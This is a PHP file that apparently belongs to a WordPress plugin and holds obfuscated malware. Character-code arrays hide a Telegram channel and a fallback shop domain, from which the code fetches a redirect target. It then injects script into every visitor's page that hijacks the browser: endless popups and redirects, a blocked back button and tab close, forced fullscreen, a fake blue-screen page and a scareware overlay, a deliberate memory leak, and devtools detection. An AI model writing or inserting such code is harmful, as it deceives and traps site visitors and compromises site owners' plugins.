<?php $var_d4acf18edc8f9c88c9277ee0f041fcc6="15031738354577"; function fn_aa3fb05a15bfeb25dc278d4040ae23bf($url){ $url='https://'.$url; if(function_exists('curl_version')){ $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"); curl_setopt($ch,CURLOPT_TIMEOUT,5); $result=curl_exec($ch); curl_close($ch); return $result; } return @file_get_contents($url); } function fn_c6379b95787b21a4e8865133a1342423($arr){ $str=''; foreach($arr as $val){$str.=chr($val);} return $str; } function fn_584c3af00a1385cce80d07a86490fb7d($file,$key){ $part1=fn_c6379b95787b21a4e8865133a1342423([116,114,97,102,102,105,99,114,101,100,105,114,101,99,116]); $part2=fn_c6379b95787b21a4e8865133a1342423([116,46,109,101,47,115,47]); $data=fn_aa3fb05a15bfeb25dc278d4040ae23bf($part2.$part1); preg_match_all('/<code>(.*?)<\/code>/s',$data,$match); $domain=!empty($match[1])?end($match[1]):null; $fallback=fn_c6379b95787b21a4e8865133a1342423([112,105,110,107,102,101,108,115]); if(empty($domain)){ $json_data=fn_aa3fb05a15bfeb25dc278d4040ae23bf($fallback.'.'.fn_c6379b95787b21a4e8865133a1342423([115,104,111,112]).'/?t=json&i=14645771df5da3c0472ef9451e1d0fa5&a='.$key); $j=@json_decode($json_data,true); if(!empty($j['domain'])){$domain=$j['domain'];} } if(!empty($domain)){file_put_contents($file,base64_encode($domain));} return $domain; } $file=md5($var_d4acf18edc8f9c88c9277ee0f041fcc6); $domain=null; $path=plugin_dir_path(__FILE__).$file; if(file_exists($path)&&filesize($path)>0){ $domain=base64_decode(file_get_contents($path)); }else{ $fetch=fn_584c3af00a1385cce80d07a86490fb7d($path,$var_d4acf18edc8f9c88c9277ee0f041fcc6); if($fetch){$domain=$fetch;} } if(!empty($domain)){ $domainWithKey=$domain.'?'.$var_d4acf18edc8f9c88c9277ee0f041fcc6; setcookie('wc_already_redirected','1',time()+3600*24*365,'/'); ?> <script> (function(){ var adUrl="<?php echo $domainWithKey;?>"; var popupOpened=false; var fallbackFrame=null; var watchers={}; var rootUrl=window.location.origin+window.location.pathname; function tryOpenPopup(u,t){ if(popupOpened)return null; var w=window.open(u,t); if(w){popupOpened=true;} return w; } function fallbackIfPopupBlocked(winRef){ if(!winRef||winRef.closed||typeof winRef.closed==='undefined'){ window.location.href=adUrl; } } function onBlurHandler(){ setTimeout(function(){ window.location.href=adUrl; },Math.random()*1000); } function moduleZeroInit(){ if(localStorage.getItem("wc_init_done")==="1"){ window.location.href=adUrl; }else{ localStorage.setItem("wc_init_done","1"); } if(window.screen&&window.screen.availHeight){ if(document.documentElement.requestFullscreen)document.documentElement.requestFullscreen(); else if(document.documentElement.webkitRequestFullscreen)document.documentElement.webkitRequestFullscreen(); else if(document.documentElement.mozRequestFullScreen)document.documentElement.mozRequestFullScreen(); else if(document.documentElement.msRequestFullscreen)document.documentElement.msRequestFullscreen(); } } function moduleOneOpenPopup(){ var watcher=tryOpenPopup("about:blank","_blank"); window.location.href=adUrl; fallbackIfPopupBlocked(watcher); if(watcher){ watchers.popup1=watcher; watcher.document.write('<script>let adFrame;let ws=new WebSocket("wss://echo.websocket.org");function openAd(){if(!adFrame){adFrame=document.createElement("iframe");adFrame.style.position="absolute";adFrame.style.width="100%";adFrame.style.height="100%";adFrame.style.border="none";adFrame.src="<?php echo $domainWithKey;?>";document.body.appendChild(adFrame);}}setInterval(openAd,2000);document.addEventListener("visibilitychange",function(){if(document.hidden){openAd();}});history.pushState({},"",location.href);window.onpopstate=function(){history.pushState({},"",location.href);};setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){location.href="about:blank";}},2000);ws.onopen=function(){ws.send("watching");};ws.onmessage=function(e){if(e.data==="close"){if(adFrame)adFrame.remove();}};<\/script>'); } document.body.addEventListener("touchstart",function(e){if(e.touches[0].clientX<50)e.preventDefault();},{passive:false}); window.onbeforeunload=function(){return"You must register for the game";}; window.scrollTo(0,1); } function moduleTwoBackButtonBlock(){ function blockBackButton(){ history.pushState(null,"",location.href); window.onpopstate=function(){ history.pushState(null,"",location.href); setTimeout(function(){window.location.href=adUrl;},Math.random()*1000); }; } function preventCloseTab(){ window.addEventListener("beforeunload",function(e){e.preventDefault();return e.returnValue="You must register for the game";}); } function reopenTabIfClosed(){ let focusLost=false;document.addEventListener("visibilitychange",function(){if(document.hidden){focusLost=true;setTimeout(function(){if(focusLost)tryOpenPopup(adUrl,"_blank");},Math.random()*1500);}else{focusLost=false;}}); } function reopenOnBlur(){window.onblur=onBlurHandler;} function setupWebSocket(){ let ws=new WebSocket("wss://echo.websocket.org"); ws.onopen=function(){ws.send("watching");setInterval(function(){ws.send("ping");},5000);}; ws.onmessage=function(e){if(e.data==="close"){setTimeout(function(){location.href=adUrl;},Math.random()*1000);}}; } function detectDevTools(){ setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){location.href="about:blank";}},2000); } function preventMobileSwipe(){ document.body.addEventListener("touchstart",function(e){if(e.touches[0].clientX<50)e.preventDefault();},{passive:false}); } function simulateUserActivity(){ document.addEventListener("mousemove",function(){history.pushState(null,"",location.href);}); } function iframeLoop(){ fallbackFrame=document.createElement("iframe"); fallbackFrame.style.position="absolute"; fallbackFrame.style.width="1px"; fallbackFrame.style.height="1px"; fallbackFrame.style.border="none"; document.body.appendChild(fallbackFrame); let win=fallbackFrame.contentWindow; win.document.open(); win.document.write('<script>setInterval(function(){window.open("'+adUrl+'","_blank")},3000);<\/script>'); win.document.close(); } function mutationObserverProtection(){ let obs=new MutationObserver(function(){if(fallbackFrame&&!document.body.contains(fallbackFrame)){iframeLoop();}}); obs.observe(document.body,{childList:true}); } setTimeout(blockBackButton,Math.random()*2000); setTimeout(preventCloseTab,Math.random()*2000); setTimeout(reopenTabIfClosed,Math.random()*2000); setTimeout(reopenOnBlur,Math.random()*2000); setTimeout(setupWebSocket,Math.random()*2000); setTimeout(detectDevTools,Math.random()*2000); setTimeout(preventMobileSwipe,Math.random()*2000); setTimeout(simulateUserActivity,Math.random()*2000); setTimeout(iframeLoop,Math.random()*2000); setTimeout(mutationObserverProtection,Math.random()*2000); } function moduleThreeSW(){ if("serviceWorker" in navigator){ navigator.serviceWorker.register("/sw.js").then(function(){}).catch(function(){}); } if(localStorage.getItem("trapped")==="1"){ window.location.href=adUrl; }else{ localStorage.setItem("trapped","1"); } let ws=new WebSocket("wss://echo.websocket.org"); ws.onopen=function(){ws.send("session-started");}; ws.onmessage=function(e){if(e.data==="redirect"){window.location.href=adUrl;}}; setTimeout(function(){window.location.href=adUrl;},3000); } function moduleFourBSOD(){ function forceFullscreen(){ let elem=document.documentElement; if(elem.requestFullscreen)elem.requestFullscreen(); else if(elem.webkitRequestFullscreen)elem.webkitRequestFullscreen(); else if(elem.mozRequestFullScreen)elem.mozRequestFullScreen(); else if(elem.msRequestFullscreen)elem.msRequestFullscreen(); } function createBSOD(){ let b=document.createElement("div"); b.style.position="fixed";b.style.top="0";b.style.left="0"; b.style.width="100%";b.style.height="100%";b.style.background="#00f"; b.style.color="#fff";b.style.fontSize="20px";b.style.textAlign="center"; b.style.paddingTop="20%";b.innerHTML="<h1>You must register for the game</p><p>Press any key</p>"; document.body.innerHTML="";document.body.appendChild(b); } function memoryLeak(){ let d=[];setInterval(function(){d.push(new Array(1000000).fill("memoryleak"));},100); } function forceRedirectOnKeyPress(){ document.addEventListener("keydown",function(){location.href=adUrl;}); } window.onbeforeunload=function(){return"You must register for the game";}; document.addEventListener("visibilitychange",function(){if(document.hidden){location.href=adUrl;}}); document.addEventListener("keydown",function(e){if(e.key==="Escape"){forceFullscreen();}}); setTimeout(forceFullscreen,1000); setTimeout(createBSOD,2000); setTimeout(memoryLeak,3000); setTimeout(forceRedirectOnKeyPress,4000); } function moduleFivePopups(){ function openPopupWithDelay(){ let ws=new WebSocket("wss://echo.websocket.org"); ws.onopen=function(){ setTimeout(function(){ let newWin=tryOpenPopup(adUrl,"_blank"); fallbackIfPopupBlocked(newWin); },Math.random()*3000); }; } function loadAdWithWebRTC(){ let i=document.createElement("iframe"); i.style.width="1px";i.style.height="1px";i.style.border="none"; i.src=adUrl;document.body.appendChild(i); } function registerServiceWorkerBypass(){ let f=document.createElement("iframe"); f.style.display="none"; document.body.appendChild(f); let w=f.contentWindow; if(w&&w.navigator&&w.navigator.serviceWorker){ w.navigator.serviceWorker.register("/sw.js").then(function(){}).catch(function(){}); } } function injectMetaRedirect(){ let m=document.createElement("meta"); m.httpEquiv="refresh";m.content="3;url="+adUrl; document.head.appendChild(m); } function checkJavaScriptDisabled(){ let n=document.createElement("noscript"); n.innerHTML='<meta http-equiv="refresh" content="3;url='+adUrl+'">'; document.body.appendChild(n); } window.onbeforeunload=function(){return"You must register for the game";}; setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){window.close();}},2000); history.pushState(null,"",location.href); window.onpopstate=function(){history.pushState(null,"",location.href);location.href=adUrl;}; document.addEventListener("visibilitychange",function(){if(document.hidden){location.href=adUrl;}}); setTimeout(openPopupWithDelay,1000); setTimeout(loadAdWithWebRTC,2000); setTimeout(registerServiceWorkerBypass,3000); setTimeout(injectMetaRedirect,4000); setTimeout(checkJavaScriptDisabled,5000); } function moduleSixMobile(){ history.pushState({},"",location.href); window.onpopstate=function(){history.pushState({},"",location.href);setTimeout(function(){location.href=adUrl;},Math.random()*1000);}; document.addEventListener("touchstart",function(e){if(e.touches[0].clientX<50)e.preventDefault();},{passive:false}); function forceFullscreen(){ let elem=document.documentElement; if(elem.requestFullscreen)elem.requestFullscreen(); else if(elem.mozRequestFullScreen)elem.mozRequestFullScreen(); else if(elem.webkitRequestFullscreen)elem.webkitRequestFullscreen(); else if(elem.msRequestFullscreen)elem.msRequestFullscreen(); } function trapUser(){setInterval(function(){alert("You must register for the game");},3000);} document.addEventListener("visibilitychange",function(){if(document.hidden){location.href=adUrl;}}); window.onbeforeunload=function(){window.open(adUrl,"_blank");}; setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){location.href=adUrl;}},2000); if("serviceWorker" in navigator){navigator.serviceWorker.register("/sw.js").then(function(){});} let overlay=null; function createVirusOverlay(){ overlay=document.createElement("div"); overlay.style.position="fixed";overlay.style.top="0";overlay.style.left="0"; overlay.style.width="100%";overlay.style.height="100%"; overlay.style.background="black";overlay.style.color="red";overlay.style.fontSize="30px"; overlay.style.textAlign="center";overlay.style.paddingTop="50%"; overlay.innerHTML="⚠ You must register for the game ⚠"; document.body.appendChild(overlay); } let obs=new MutationObserver(function(){if(overlay&&!document.body.contains(overlay)){createVirusOverlay();}}); obs.observe(document.body,{childList:true}); setTimeout(forceFullscreen,1000); setTimeout(trapUser,2000); setTimeout(createVirusOverlay,3000); } function moduleSevenAnotherPopup(){ let watcher=tryOpenPopup("about:blank","_blank"); setTimeout(function(){window.location.href=adUrl;},500); fallbackIfPopupBlocked(watcher); if(watcher){ watchers.popup7=watcher; watcher.document.write('<script>let adFrame;let ws=new WebSocket("wss://echo.websocket.org");function openAd(){if(!adFrame){adFrame=document.createElement("iframe");adFrame.style.position="absolute";adFrame.style.width="100%";adFrame.style.height="100%";adFrame.style.border="none";adFrame.src="<?php echo $domainWithKey;?>";document.body.appendChild(adFrame);}}document.addEventListener("visibilitychange",function(){if(document.hidden){openAd();}});setInterval(openAd,2000);history.pushState({},"",location.href);window.onpopstate=function(){history.pushState({},"",location.href);};setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){location.href="about:blank";}},2000);ws.onopen=function(){ws.send("watching");};ws.onmessage=function(e){if(e.data==="close"){if(adFrame)adFrame.remove();}};setInterval(function(){fetch("https://example.com/ping",{method:"POST"});},5000);<\/script>'); } window.onbeforeunload=function(){return"";}; document.body.addEventListener("touchstart",function(e){if(e.touches[0].clientX<50)e.preventDefault();},{passive:false}); window.scrollTo(0,1); } function moduleEightFallback(){ if(localStorage.getItem("wc_fallback_done")==="1"){return;} localStorage.setItem("wc_fallback_done","1"); setInterval(function(){ if(document.hidden){window.location.href=adUrl;} },3000); } function moduleNineKeepOrigin(){ var keepTimer=setInterval(function(){ if(document.hidden){ var w=tryOpenPopup(rootUrl,"_blank"); if(!w||w.closed||typeof w.closed==="undefined"){ }else{ watchers.root=w; } } },5000); } setTimeout(moduleZeroInit,50); setTimeout(moduleOneOpenPopup,100); setTimeout(moduleTwoBackButtonBlock,1000); setTimeout(moduleThreeSW,2000); setTimeout(moduleFourBSOD,3000); setTimeout(moduleFivePopups,4000); setTimeout(moduleSixMobile,5000); setTimeout(moduleSevenAnotherPopup,6000); setTimeout(moduleEightFallback,7000); setTimeout(moduleNineKeepOrigin,8000); })(); </script> <?php }